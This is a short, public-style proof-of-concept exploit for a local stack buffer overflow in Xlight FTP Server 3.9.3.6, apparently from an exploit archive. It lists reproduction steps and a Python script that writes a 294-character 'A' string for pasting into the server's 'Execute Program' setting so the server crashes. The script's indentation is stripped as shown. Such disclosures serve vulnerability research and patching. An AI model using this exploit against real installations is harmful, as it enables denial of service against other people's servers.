Xlight FTP Server 3.9.3.6 Stack Buffer Overflow

`# Exploit Title: Xlight FTP Server 3.9.3.6 - 'Stack Buffer Overflow' (DOS)  
# Discovered by: Yehia Elghaly  
# Discovered Date: 2023-08-04  
# Vendor Homepage: https://www.xlightftpd.com/  
# Software Link : https://www.xlightftpd.com/download/setup.exe  
# Tested Version: 3.9.3.6  
# Vulnerability Type: Buffer Overflow Local  
# Tested on OS: Windows XP Professional SP3 - Windows 11 x64  
  
# Description: Xlight FTP Server 3.9.3.6 'Execute Program' Buffer Overflow (PoC)  
  
# Steps to reproduce:  
# 1. - Download and Xlight FTP Server  
# 2. - Run the python script and it will create exploit.txt file.  
# 3. - Open Xlight FTP Server 3.9.3.6  
# 4. - "File and Directory - Modify Virtual Server Configuration - Advanced - Misc- Setup   
# 6. - Execute a Program after use logged in- Paste the characters   
# 7 - Crashed  
  
#!/usr/bin/env python3  
  
exploit = 'A' * 294  
  
try:   
with open("exploit.txt","w") as file:  
file.write(exploit)  
print("POC is created")  
except:  
print("POC not created")  
  
  
`